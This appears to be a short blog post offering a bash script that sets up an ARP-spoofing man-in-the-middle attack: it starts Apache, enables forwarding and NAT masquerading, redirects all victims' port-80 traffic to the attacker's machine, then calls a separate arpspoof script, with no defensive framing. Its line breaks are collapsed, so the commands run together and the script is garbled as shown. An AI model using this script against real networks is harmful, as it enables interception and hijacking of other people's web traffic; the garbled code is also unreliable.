This script does some IPTables commands then calls the previous script to execute the arpspoof.
#!/bin/bash/etc/init.d/apache2 startiptables -t nat --flushiptables --zeroecho -e "Enter your interface: wlan0 or eth0"read NICecho -e "Enter your IP: EG 192.168.0.4"read INTIPiptables -A FORWARD --in-interface "$NIC" -j ACCEPTiptables -t nat --append POSTROUTING --out-interface "$NIC" -j MASQUERADEiptables -t nat -A PREROUTING -p tcp --dport 80 --jump DNAT --to-destination "$INTIP"sh ./ARPSPOOFBASH
Enjoy!!
No comments:
Post a Comment